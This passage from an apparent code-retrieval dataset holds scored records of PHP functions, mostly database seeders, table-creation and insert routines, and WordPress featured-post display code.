'name' => [\n 'first' => $people->FirstName,\n 'last' => $people->LastName\n ],\n 'role' => $people->Role\n ];\n }", "title": "" }, { "docid": "6f69372e6b5f17e55865e28f84971b90", "score": "0.44805363", "text": "function prep_DB_content ()\r\n {\r\n global $conn;\r\n\r\n create_tables($conn);\r\n create_user($conn);\r\n create_user_devices($conn);\r\n create_env($conn);\r\n create_env_devices($conn);\r\n }", "title": "" }, { "docid": "6e7fec276c9fc2f0384d843a8ebf2559", "score": "0.44753635", "text": "protected function createTable(): void\n {\n $table = new Table($this->output);\n\n $table->setHeaders([\n 'Perspective Class', 'Perspective Slug'\n ]);\n\n $this->perspectives->each(function (string $slug, string $class) use ($table) {\n $slug = !in_array($slug, $this->notUniqueSlugs) ? $slug : '<fg=white;bg=red>'.$slug.'</>';\n $table->addRow([$class, $slug]);\n });\n\n $table->render();\n }", "title": "" }, { "docid": "e4c3edbb2e120d2103785c2f796617b7", "score": "0.4471364", "text": "public function add(Personnage $perso)\n {\n $req = $this->db()->prepare(\"INSERT INTO personnages (nom, type) VALUES (:nom, :type)\");\n $req->execute([':nom' => $perso->nom(),':type' => $perso->type()]);\n $perso->hydrate([\n 'id' => $this->db()->lastInsertId(),\n 'degats' => 35 ,\n 'atout' => 0\n ]);\n }", "title": "" }, { "docid": "0266c71869f5dd5585029476d6332857", "score": "0.44705576", "text": "function new_publications_mentions($insertId, $user_id){\n\t\t\t$conn = new Conexion();\t\t\n\t\t\t$sql = $conn->prepare( \"insert into publications_mentions values (:PUBLICATION, :USER)\"); \n \t\t\t$sql->execute(array('PUBLICATION' => $insertId, 'USER' => $user_id));\n \t\t\t$conn = null;\n \t\t\t$sql = null;\n\n\n\t}", "title": "" }, { "docid": "592dce8ca178b795ce234884616ab7a3", "score": "0.44620746", "text": "public function run()\n {\n $now = new DateTime;\n\n\t\tDB::table('person')->insert(array(\n\t\t\t\tarray(\n\t\t\t\t\t'lastname' => 'Principal',\n\t\t\t\t\t'firstname' => 'Administrador',\n\t\t\t\t\t'created_at' => $now,\n\t\t\t\t\t'updated_at' => $now\n\t\t\t\t)\n\t\t\t));\n }", "title": "" }, { "docid": "be82fbfadd4ba59a9ec1c17ab09186c2", "score": "0.44568408", "text": "protected function CreateTable(){}", "title": "" }, { "docid": "e2e215bfe6b3a045ace922d30a8e2bc6", "score": "0.4454755", "text": "public function save(){\n $query = DB::connection()->prepare('INSERT INTO Topic (name, description, course) VALUES (:name, :description, :course) RETURNING id');\n $query->execute(array('name' => $this->name, 'description' => $this->description, 'course' => $this->course));\n $row = $query->fetch();\n $this->id = $row['id'];\n \n $query = DB::connection()->prepare('INSERT INTO Person_Topic (person, topic) VALUES (:person, :topic)');\n \n foreach ($this->persons as $person) {\n $query->execute(array('person' => $person, 'topic' => $this->id)); \n } \n }", "title": "" }, { "docid": "1b79b8a6fb39a93734ed227e511e228e", "score": "0.44547543", "text": "function mapchamplainroofing_install(){\n global $wpdb;\n $table_locations= $wpdb->prefix . \"locations\";\n $sql1 = \"CREATE TABLE $table_locations ( id int(11) NOT NULL, name text NOT NULL, type text NOT NULL, address text NOT NULL, description text NOT NULL, latitude text NOT NULL, longitude text NOT NULL, image text NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;\";\n $sql2= \"ALTER TABLE $table_locations ADD PRIMARY KEY(id);\";\n $sql3=\"ALTER TABLE $table_locations MODIFY id INT(11) NOT NULL AUTO_INCREMENT;\";\n $wpdb->query($sql1);\n $wpdb->query($sql2);\n $wpdb->query($sql3);\n }", "title": "" }, { "docid": "b0d9bc673b3954761b0a3bb6e7895b4d", "score": "0.4452305", "text": "private function init_mapping() {\n global $CFG, $DB;\n require_once($CFG->dirroot.'/blocks/rlip/importplugins/version1elis/lib.php');\n\n foreach ($this->mapping as $standardfieldname => $customfieldname) {\n $mapping = new stdClass;\n $mapping->entitytype = 'enrolment';\n $mapping->standardfieldname = $standardfieldname;\n $mapping->customfieldname = $customfieldname;\n\n $DB->insert_record(RLIPIMPORT_VERSION1ELIS_MAPPING_TABLE, $mapping);\n }\n }", "title": "" }, { "docid": "ee10adac8f9be0b0b5f468ae4086f5e9", "score": "0.44493932", "text": "protected function processPersonPersons($conn,$writer,$personId)\n {\n $writer->startElement('person_persons');\n \n $sql = <<<EOT\nSELECT person_persons.*, child.guid AS child_guid\nFROM person_persons \nLEFT JOIN persons AS child ON child.id = person_persons.child_id\nWHERE parent_id = :personId;\nEOT;\n \n $rows = $conn->fetchAll($sql,array('personId' => $personId));\n foreach($rows as $row)\n {\n $writer->startElement('person_person');\n \n $writer->writeAttribute('role', $row['role']);\n //$writer->writeAttribute('person_id', $row['child_id']);\n $writer->writeAttribute('person_guid',$row['child_guid']);\n \n $writer->writeAttribute('status', $row['status']);\n $writer->writeAttribute('verified',$row['verified']);\n \n $writer->endElement();\n }\n $writer->endElement();\n }", "title": "" }, { "docid": "293b32c4dfe18a32fc61f4ff84b4ac07", "score": "0.44443437", "text": "function migrarTiposPersona($paso) {\n\t\t\n\t\t\t\n\t\t\teliminarTiposPersona();\n\t\t\tinsertarTiposPersona();\t\n\t\t\techo \"<p class='mensajeEjecucion'> <span class = 'subtitulo1'>Paso $paso: </span> Se ha migrado la tabla Central.TiposPersona </p> \";\n\t\n\t\t}", "title": "" }, { "docid": "812e832e738a09cd0efd4bc6e9f7d6cc", "score": "0.44397768", "text": "public function run()\n {\n Designation::insert([\n \t['name'=>'senior'],\n ['name'=>'junior'],\n \t]);\n }", "title": "" }, { "docid": "fde3243c1d44e482ac974e20eee045cb", "score": "0.44374016", "text": "protected function migratePerson($person)\n {\n //TODO create person in personal data table\n $user = User::firstOrNew([\n 'email' => $person->email,\n ]);\n $user->name = $person->name;\n $user->password = bcrypt('secret');\n $user->remember_token = str_random(10);\n $user->save();\n return $user;\n }", "title": "" }, { "docid": "0000110aed195f0d045cc1987713ac87", "score": "0.44293794", "text": "public function run()\n {\n DB::table('universities')->insert([\n ['name' => 'Islamic'],\n ['name' =>'Al_Azhar'],\n ['name' =>'Al_Aqsa'],\n ['name' =>'Gaza']\n ]);\n }", "title": "" }, { "docid": "193cc756a5aa6065e701c47b05b82e16", "score": "0.44242913", "text": "function tambah_person()\n\t{\n\t\t$person = strtolower($this->input->post('person'));\n\t\t$cek_person = $this->data_kalangan_terbatas->cek_person($person);\n\t\tif(empty($cek_person->person)){\n\t\t\t$data = array('person' => $person);\n\t\t\t$this->data_kalangan_terbatas->db_tambah_person($data,'person');\n\t\t}\n\t\tredirect('C_kalangan_terbatas/kalangan_terbatas');\n\t}", "title": "" }, { "docid": "36e953ac8f25b0b6896f753c3b45b7df", "score": "0.44160137", "text": "public function run()\n {\n DB::table('directors')->insert(['name'=>'Quentin Tarantino', 'birthday'=>'1963-03-23']);\n }", "title": "" }, { "docid": "1b4662b3e0aab2ee765df91972b0135c", "score": "0.44156137", "text": "function insertUserInfomration($firstname, $lastname, $email, $username, $password, $birthday, $gender){\r\n $salt = uniqid();\r\n include('connectDB.inc');\r\n $dataEntry = $pdo -> prepare('INSERT INTO users (`First Name`, `Last Name`, Email, Username, Password, Salt, Birthday, Gender) '.\r\n 'VALUES (:firstname,:lastname,:email,:username,SHA2(CONCAT(:password,:salt),0),:salt,:birthday,:gender)');\r\n $dataEntry-> bindValue(':firstname',$firstname);\r\n $dataEntry-> bindValue(':lastname',$lastname);\r\n $dataEntry-> bindValue(':email',$email);\r\n $dataEntry-> bindValue(':username',$username);\r\n $dataEntry-> bindValue(':password',$password);\r\n $dataEntry-> bindValue(':birthday',$birthday);\r\n $dataEntry->bindValue(':salt',$salt);\r\n $dataEntry-> bindValue(':gender',$gender);\r\n $dataEntry-> execute();\r\n }", "title": "" }, { "docid": "371c47cc232640765912b93988d7d9d0", "score": "0.44088176", "text": "public function upgradeContentOwners() : void {\n $callback = function ($row) {\n $owner = new ContentOwner();\n $owner->setEmailAddress($row['email_address']);\n $owner->setName($row['name']);\n\n return $owner;\n };\n $this->upgradeTable('content_owners', $callback);\n }", "title": "" }, { "docid": "47ea82d10e79f5690550a2cb36257747", "score": "0.44057173", "text": "public function pgsql()\n {\n $this->db->query('\n CREATE TABLE IF NOT EXISTS newuserinvitation (\n newuserinvitation_id serial PRIMARY KEY,\n auth_key character varying(255) NOT NULL,\n email character varying(255) NOT NULL,\n inviter_id bigint NOT NULL,\n community_id bigint NOT NULL,\n group_id bigint NOT NULL,\n date_creation timestamp without time zone NOT NULL DEFAULT now()\n );\n ');\n $this->db->query('\n CREATE TABLE IF NOT EXISTS pendinguser (\n pendinguser_id serial PRIMARY KEY,\n auth_key character varying(255) NOT NULL,\n email character varying(255) NOT NULL,\n password character varying(100) NOT NULL,\n firstname character varying(255) NOT NULL,\n lastname character varying(255) NOT NULL,\n date_creation timestamp without time zone NOT NULL DEFAULT now()\n );\n ');\n $this->db->query('ALTER TABLE communityinvitation ADD COLUMN group_id bigint NULL DEFAULT NULL;');\n }", "title": "" }, { "docid": "ea44d8a6a359fde35d7e5c7e98a844c7", "score": "0.4404805", "text": "public function run()\n {\n $faker = Faker::create('es_ES');\n foreach(range(1,100) as $index){\n \tDB::table('personas')->insert([\n \t\t'nombre' => $faker->name,\n \t\t'apellido' => $faker->lastname,\n \t\t'edad' => $faker->numberBetween(1,100),\n \t\t'dni' => $faker->randomNumber(8),\n \t]);\n }\n }", "title": "" }, { "docid": "f2d8b735c9a7ee5ef59eceb4a948057a", "score": "0.4403122", "text": "public function register_person($data) \r\n {\r\n return $this->db->insert($this->table_name, $data);\r\n }", "title": "" }, { "docid": "0fa89ddf3f5534be6cddcc40c00c30ad", "score": "0.44016153", "text": "public function migrateVietnam()\n {\n ini_set('memory_limit','1600000M');\n $path = database_path('datasets/DCAS.VN.EXT08.DAT');\n\n return DB::unprepared(\"LOAD DATA LOCAL INFILE '{$path}' INTO TABLE casualties FIELDS TERMINATED BY '|'\");\n }", "title": "" }, { "docid": "ca157f9d76eb0cee94a315daab7772a3", "score": "0.44014347", "text": "public function SUVBC_roster_install(){\n\t\tglobal $wpdb;\n\n\t\t$table_name = $wpdb->prefix . 'suvbc_Roster';\n\t\t\n\t\t$sql = \"CREATE TABLE \" . $table_name . \"(\n\t\t\tplayer_id MEDIUMINT NOT NULL AUTO_INCREMENT,\n\t\t\tplayer_number int(3) NOT NULL,\n\t\t\tplayer_name tinytext NOT NULL,\n\t\t\tplayer_position varchar(2) NOT NULL,\n\t\t\tplayer_year varchar(2) NOT NULL,\n\t\t\tplayer_hometown tinytext NOT NULL,\n\t\t\tplayer_img tinytext NOT NULL,\n\t\t\tplayer_bio tinytext NOT NULL,\n\t\t\tPRIMARY KEY player_id (player_id)\n\t\t\t);\";\n\t\trequire_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\n\t\tdbDelta( $sql );\n\t}", "title": "" }, { "docid": "ac0dcff24ec3bbab843fbbb300e8efd1", "score": "0.44012383", "text": "public function run()\n {\n Personale::create([\n 'driverid' => '123 ',\n 'firstname' => 'Zelalem',\n 'fathername' => 'Sibhat',\n 'gfathername' => 'ayatu',\n 'sex' => 1,\n 'birthdate' => '1980-8-8',\n 'driver' => 1,\n 'department_id' => 1,\n 'position_id' => 1,\n 'status' => 1,\n\n\n ]);\n }", "title": "" }, { "docid": "58e53ce19475cbe45103fb68d5b92d47", "score": "0.43990666", "text": "public function insert($tblOrganization);", "title": "" }, { "docid": "5e26a76fc11bf0a47056a1ec7a69ed6a", "score": "0.4396889", "text": "public function executeCreaterelation()\n {\n $this->person = new Person();\n\n $this->person->setName(preg_replace('/\\d+ - /', '', $this->getRequestParameter('name')));\n\n /*De donde se accede persons o video ?*/\n if($this->hasRequestParameter('template')){\n $this->url = 'persons/updaterelation?template=true&mm='.$this->getRequestParameter('mm').'&role='.$this->getRequestParameter('role');\n $this->update = $this->getRequestParameter('role').'_person_mms'; //EL MISMO QUE EN MM:(\n }else{\n $this->url = 'persons/updaterelation?mm='.$this->getRequestParameter('mm').'&role='.$this->getRequestParameter('role');\n $this->update = $this->getRequestParameter('role').'_person_mms';\n }\n\n $this->langs = sfConfig::get('app_lang_array', array('es'));\n\n $this->setTemplate('edit');\n }", "title": "" }, { "docid": "43ebe6324db189a626eda0b6cb875fae", "score": "0.43933985", "text": "public function insert();", "title": "" }, { "docid": "43ebe6324db189a626eda0b6cb875fae", "score": "0.43933985", "text": "public function insert();", "title": "" }, { "docid": "59e2e2c047b78647e8c1af8bd3587c83", "score": "0.43873855", "text": "public function _load() {\n $qry = new Query(\n\t\t\t\"SELECT * \n\t\t\tFROM `venteliste` \n\t\t\tWHERE `pl_id` = '#pl_id'\n ORDER BY deltager_id ASC\",\n\t\t\t[\n\t\t\t\t'pl_id' => $this->arrangementId,\n\t\t\t]\n\t\t);\n\n\t\t$res = $qry->run();\n\n // Empty personer\n\n\t\twhile ($row = Query::fetch($res)) {\n $person = Person::loadFromId( $row['p_id'] );\n $arrangement = Arrangement::getById($row['pl_id']);\n $arrangement = Arrangement::getById($row['pl_id']);\n $kommune = new Kommune($row['k_id']);\n \n $vePerson = new VentelistePerson($person, $arrangement, $kommune);\n $this->add($vePerson);\n\t\t}\n }", "title": "" }, { "docid": "64c63c5c4fbb88185ca05eb90566feaa", "score": "0.43868336", "text": "private function saveToDatabase()\n {\n foreach ($this->dataUser as $key => $value) {\n $this->insertUser($value['id'], $value['username'], $value['email']);\n }\n }", "title": "" }, { "docid": "62e3213e2d0f1b6e8c3e8fafb9794133", "score": "0.4385889", "text": "public function run()\n {\n $faker = Faker\\Factory::create('ru_RU');\n $genders = ['male' => 'M', 'female' => 'F'];\n $data = [];\n for ($i = 0; $i < 100; $i++) {\n $gender = array_keys($genders)[random_int(0, 1)];\n $data[] = [\n 'name' => $name = $faker->name($gender),\n 'gender' => $genders[$gender],\n 'birthdate' => $faker->date($format = 'Y-m-d', $max = '-5 years')\n ];\n }\n $this->insert('users', $data);\n\n }", "title": "" }, { "docid": "6069736b0bfd306de45e27fb80d72b49", "score": "0.43851018", "text": "public function run()\n {\n CompanyProfile::insert([\n \t[ 'field' => 'what-is-forex', 'value' => '' ],\n ]);\n }", "title": "" }, { "docid": "11b285627b4fef0cf446870ccac3bb31", "score": "0.43819463", "text": "public function run()\n {\n $faker = Faker::create('Ru_RU');\n// $faker_en = Faker::create();\n // Create 50 Person records\n $sex = [\n 'Female',\n 'Male',\n ];\n for ($i = 1; $i <= 50; $i++) {\n $one_or_null = $faker->numberBetween(0, 1);\n $name_function = 'firstName' . $sex[$one_or_null];\n $firstname = $faker->$name_function();\n $keys = $faker->words(10, false);\n// $lastname_function = 'lastName' . $sex[$one_or_null];\n// dd($name_function);\n if ($one_or_null == 1) {\n $lastname = $faker->lastname();\n } else {\n $lastname = $faker->lastname() . 'а';\n }\n \n $name = $firstname . ' ' . $lastname;\n\n $person = Person::create([\n 'name' => $name,\n// 'firstname' => $firstname,\n// 'lastname' => $lastname,\n 'name_en' => Str::slug($firstname . ' ' . $lastname, ' '),\n 'slug' => null,\n 'description' => $faker->realText(1000),\n 'description_short' => $faker->realText(200),\n 'sex' => $one_or_null,\n 'height' => $faker->numberBetween(160, 205),\n 'birth_date' => $faker->date('Y-m-d', '2000-01-01'),\n 'country_birth_id' => $faker->numberBetween(1, 50),\n 'city_birth_id' => $faker->numberBetween(1, 50),\n 'image' => $i,\n 'image_show' => (boolean) 1,\n 'meta_title' => substr($faker->unique()->realText(75, 5), 0, -1),\n 'meta_description' => substr($faker->unique()->realText(175, 5), 0, -1),\n 'meta_keywords' => implode(', ', $keys),\n 'published' => (boolean) 1,\n 'views' => $faker->numberBetween(100, 10000),\n 'kp_id' => $faker->numberBetween(100000, 999999),\n 'created_by' => (integer) 1,\n 'modified_by' => (integer) 1\n ]);\n\n $person->update(['slug' => null]);\n\n// $try = 0;\n// $professions = [];\n//\n// while ($try < 5) {\n// $num = $faker->numberBetween(1, 15);\n// if (!in_array($num, $professions)) {\n// $professions[] = $num;\n// $try++;\n// }\n// }\n// $person->professions()->attach($professions);\n }\n }", "title": "" }, { "docid": "20f6302a4a0701ef7e302acba8b8cf87", "score": "0.43805674", "text": "public function run()\n {\n $faker = Faker\\Factory::create();\n foreach (range(1,20) as $index) {\n DB::table('person')->insert([\n 'name' => $faker->firstName,\n 'surname' => $faker->lastName,\n 'age' => $faker->numberBetween(15,80),\n 'salary' => (string)$faker->numberBetween(1000,10000),\n ]);\n }\n }", "title": "" }, { "docid": "7f4cbacc20ddcadea128ab1f87473948", "score": "0.4380313", "text": "public function import(PersonNameInterface $name);", "title": "" }, { "docid": "ffefe0e38898b9a4006ec99cb16211d7", "score": "0.43802336", "text": "public function install_module_members_table()\n {\n\t\t$this->EE->load->dbforge();\n\n\t\t$fields = array(\n\t\t\t'id' => array(\n\t\t\t\t'type' \t\t\t => 'INT',\n\t\t\t\t'constraint' \t => 10,\n\t\t\t\t'unsigned'\t\t => TRUE,\n\t\t\t\t'auto_increment' => TRUE\n\t\t\t\t),\n\t\t\t'site_id' => array(\n\t\t\t\t'type' \t\t\t => 'INT',\n\t\t\t\t'constraint' \t => 10,\n\t\t\t\t'unsigned'\t\t => TRUE\n\t\t\t\t),\n\t\t\t'member_id' => array(\n\t\t\t\t'type' \t\t\t=> 'INT',\n\t\t\t\t'constraint' \t=> 10,\n\t\t\t\t'unsigned'\t\t=> TRUE\n\t\t\t\t)\n\t\t\t);\n\n\t\t$this->EE->dbforge->add_field($fields);\n\t\t$this->EE->dbforge->add_key('id', TRUE);\n\t\t$this->EE->dbforge->create_table('dashee_members', TRUE);\n }", "title": "" }, { "docid": "e11934d6cf6e78fbf16b39cf83140075", "score": "0.43792504", "text": "public function run()\n {\n foreach (range(1,20) as $i){\n Personel::create([\n 'ad'=>Str::random(4),\n 'soyad'=>Str::random(10),\n 'aktiflik'=>rand(0,1),\n 'yas'=>rand(10,40),\n 'tc'=>Str::random(11),\n 'numara'=>Str::random(11)\n ]);\n }\n }", "title": "" }, { "docid": "92e3117faa3fea42926bdb469c6d5b4b", "score": "0.43775916", "text": "function gAngebotsanfrage_init(){\r\n\t$pntables = pnDBGetTables();\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_kunde'];\r\n\t$columns = $pntables['gAngebotsanfrage_kunde_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[organisation] VARCHAR(100),\r\n\t\t$columns[ansprechpartner] VARCHAR(100),\r\n\t\t$columns[strasse] VARCHAR(100),\r\n\t\t$columns[ort] VARCHAR(100),\r\n\t\t$columns[plz] VARCHAR(10),\r\n\t\t$columns[land] INTEGER UNSIGNED,\r\n\t\t$columns[telefon] VARCHAR(50),\r\n\t\t$columns[mobil] VARCHAR(50),\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_land'];\r\n\t$columns = $pntables['gAngebotsanfrage_land_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[bezeichnung] VARCHAR(100),\r\n\t\t$columns[mid] INTEGER UNSIGNED NOT NULL,\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_plz'];\r\n\t$columns = $pntables['gAngebotsanfrage_plz_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[plz] VARCHAR(10),\r\n\t\t$columns[ort] VARCHAR(100),\r\n\t\t$columns[lid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[mid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[hid] INTEGER UNSIGNED NOT NULL,\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_mitarbeiter'];\r\n\t$columns = $pntables['gAngebotsanfrage_mitarbeiter_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[uid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[name] VARCHAR(100),\r\n\t\t$columns[kz] VARCHAR(3),\r\n\t\t$columns[abt] VARCHAR(5),\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_haendler'];\r\n\t$columns = $pntables['gAngebotsanfrage_haendler_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[name] VARCHAR(100),\r\n\t\t$columns[ansprechpartner] VARCHAR(100),\r\n\t\t$columns[email] VARCHAR(100),\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t$table = $pntables['gAngebotsanfrage_anforderung'];\r\n\t$columns = $pntables['gAngebotsanfrage_anforderung_column'];\r\n\t$sql = \"CREATE TABLE $table (\r\n\t\t$columns[id] INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\r\n\t\t$columns[hid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[mid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[kid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[lid] INTEGER UNSIGNED NOT NULL,\r\n\t\t$columns[besucher] VARCHAR(100),\r\n\t\t$columns[mitarbeiter] VARCHAR(100),\r\n\t\t$columns[kategorie] VARCHAR(50),\r\n\t\t$columns[text] TEXT,\r\n\t\";\r\n\t$sql .= ObjectUtil::generateCreateSqlForStandardFields ($columns);\r\n\t$sql .= \", PRIMARY KEY($columns[id]))\";\r\n\tDBUtil::executeSQL ($sql, false, true);\r\n\t\r\n\t\r\n\t\t\r\n\treturn true;\r\n}", "title": "" } ]
7f85547110e8be80362c59f484b75660
Display the featured content post loop.
[ { "docid": "aa641344077d66de95b32be2b65dc4b0", "score": "0.77146405", "text": "function shepherd_display_featured_posts(){\n\n\tget_template_part( 'content', 'featured' );\n\n}", "title": "" } ]
[ { "docid": "1beadfa3445401fd8001ed82680fe3f1", "score": "0.7247281", "text": "function hello_pro_show_featured_articles() {\n\n\t$args = array(\n\t\t'meta_query' => array( // phpcs:ignore\n\t\t\tarray(\n\t\t\t\t'key' => '_hellopro_featured_article',\n\t\t\t\t'value' => '1',\n\t\t\t\t'compare' => '=',\n\t\t\t),\n\t\t),\n\t\t'ignore_sticky_posts' => 1,\n\t);\n\n\t// Create a new WP_Query.\n\t$featured_article_query = new WP_Query( $args );\n\n\t// Exit if no posts are marked as \"Featured Articles\".\n\tif ( ! $featured_article_query->have_posts() ) {\n\t\treturn;\n\t}\n\n\t// Begin Output Buffering.\n\tob_start();\n\n\t// Open the featured articles content container.\n\techo '<div class=\"featured-articles\">';\n\n\tif ( $featured_article_query->have_posts() ) {\n\n\t\twhile ( $featured_article_query->have_posts() ) {\n\n\t\t\t$featured_article_query->the_post();\n\n\t\t\t$post_id = get_the_ID();\n\n\t\t\t// Create character limit for blog post titles.\n\t\t\t$title_char_limit = 60;\n\n\t\t\t// Create var with shortened post title.\n\t\t\t$post_title = substr( get_the_title(), 0, $title_char_limit ); // Limit the title to 60 characters.\n\n\t\t\t// If title is longer than limit, add ellipses.\n\t\t\tif ( strlen( $post_title > $title_char_limit ) ) {\n\t\t\t\t$post_title .= '...';\n\t\t\t}\n\n\t\t\t// Open article container.\n\t\t\techo '<div class=\"featured-article\">';\n\n\t\t\t// Open text container.\n\t\t\techo '<div class=\"text-container\">';\n\n\t\t\t// Show the 'Featured Article' header text.\n\t\t\techo '<div class=\"featured-article-item-header\">' . esc_html__( 'Featured Article', 'hello-pro' ) . '</div>';\n\n\t\t\t// Show the Post Title.\n\t\t\techo '<h2 class=\"entry-title\"><a href=\"' . esc_url( get_the_permalink() ) . '\" class=\"entry-title-link\">' . esc_html( $post_title ) . '</a></h2>';\n\n\t\t\t// Open the Author info container.\n\t\t\techo '<div class=\"author-info\">';\n\n\t\t\t// Get the Author info.\n\t\t\t$the_author = get_the_author();\n\t\t\t$the_author_id = get_the_author_meta( 'ID' );\n\n\t\t\t// Get the link to the Author page.\n\t\t\t$the_author_link = get_author_posts_url( $the_author_id );\n\n\t\t\t// Get the categories of the current post.\n\t\t\t$category = get_the_category();\n\n\t\t\t// Assign a var to the first category.\n\t\t\t$first_category = $category[0]->cat_name;\n\n\t\t\t// Get the link to the first category.\n\t\t\t$first_category_link = get_category_link( $category[0] );\n\n\t\t\t// Show the Author Image.\n\t\t\techo '<div class=\"image\">';\n\n\t\t\techo '<a href=\"' . esc_html( $the_author_link ) . '\">' . get_avatar( $the_author_id, 64 ) . '</a>';\n\n\t\t\techo '</div>';\n\n\t\t\t// Show the Author Text.\n\t\t\techo '<div class=\"author-text\">';\n\n\t\t\techo '<p class=\"author-name\"><a href=\"' . esc_html( $the_author_link ) . '\">' . esc_html( $the_author ) . '</a></p>';\n\n\t\t\techo '<p class=\"post-category\"><a href=\"' . esc_html( $first_category_link ) . '\">' . esc_html( $first_category ) . '</a></p>';\n\n\t\t\techo '</div>';\n\n\t\t\t// Close the Author Info container.\n\t\t\techo '</div>';\n\n\t\t\t// Close the text container.\n\t\t\techo '</div>';\n\n\t\t\t// Show the Featured Image.\n\t\t\tif ( has_post_thumbnail() ) {\n\n\t\t\t\techo '<div class=\"featured-img\">';\n\t\t\t\techo '<a href=\"' . esc_url( get_the_permalink() ) . '\">';\n\t\t\t\techo get_the_post_thumbnail( $post_id, 'featured-article' );\n\t\t\t\techo '</a>';\n\t\t\t\techo '</div>';\n\n\t\t\t}\n\n\t\t\t// Close the article container.\n\t\t\techo '</div>';\n\n\t\t}\n\t}\n\n\t// Close the featured articles content container.\n\techo '</div>';\n\n\t// Output the JS.\n\t?>\n\t<script type=\"text/javascript\">\n\tjQuery(document).ready(function ($) {\n\n\t\t/*\n\t\t* Featured Articles Slider\n\t\t* uses Slick JS by Ken Wheeler\n\t\t* configuration options: https://kenwheeler.github.io/slick/\n\t\t--------------------------------------------------------------------- */\n\t\t$(\".blog-header-extras .featured-articles\").not(\".slick-initialized\").slick({\n\t\t\tautoplay: true,\n\t\t\tautoplaySpeed: 5000,\n\t\t\tadaptiveHeight: false,\n\t\t\tslidesToShow: 1,\n\t\t\tslidesToScroll: 1,\n\t\t\tfade: false,\n\t\t\tarrows: true,\n\t\t\tprevArrow: '<button type=\"button\" class=\"slick-prev\"><span class=\"fa fa-angle-left\"></span></button>',\n\t\t\tnextArrow: '<button type=\"button\" class=\"slick-next\"><span class=\"fa fa-angle-right\"></span></button>',\n\t\t\tdots: true,\n\t\t\tinfinite: true,\n\t\t});\n\n\t});\n\t</script>\n\t<?php\n\n\t// Save the contents to a var.\n\t$output = ob_get_contents();\n\n\t// End the Output Buffering.\n\tob_end_clean();\n\n\t// Restore the original Post Data.\n\twp_reset_postdata();\n\n\t// Return everything.\n\treturn $output;\n\n}", "title": "" }, { "docid": "2a961059ccd3db7f7e69ee21fe203f0c", "score": "0.7171235", "text": "public function featured() {\n $u = new Post_Model($this->template, $this->router->query_string);\n $u->featured_posts();\n }", "title": "" }, { "docid": "39b54bcc936077a9b6a9590b2f6e9e60", "score": "0.7038692", "text": "function cp_ad_loop_content() {\n\techo cp_get_content_preview();\n}", "title": "" }, { "docid": "a83264b5e795eb852eac5eec48f9f417", "score": "0.674263", "text": "protected function render() {\n $settings = $this->get_settings_for_display();\n $video_url = $settings['video_link']['url'];\n $arg = array(\n 'post_type' => 'post',\n 'showposts'=>6,\n 'post_status' => 'publish',\n 'tax_query' => array( \n array(\n 'taxonomy' => 'featured',\n 'field' => 'slug',\n 'terms' => 'editors-pick',\n ),\n )\n );\n $featured = new \\WP_Query($arg);\n \n?>\n<section class=\"featured-section\">\n <div class=\"featured-video\">\n <div class=\"preview\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\">\n <path\n d=\"M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z\" />\n </svg>\n <img src=\"<?= $settings['video_image']['url'] ?>\" alt=\"\">\n </div>\n\n <video id=\"featured-video\">\n <source src=\"<?= esc_url( $video_url )?>\" type=\"video/mp4\">\n Your browser does not support the video tag.\n </video>\n </div>\n\n\n\n\n <div class=\"featured-articles-wrapper\">\n <?php while($featured->have_posts()): $featured->the_post(); \n global $dynamic_featured_image;\n ?>\n <div class=\"featured-article\">\n <div class=\"featured-article-gallery\">\n <?php \n $featured_images = 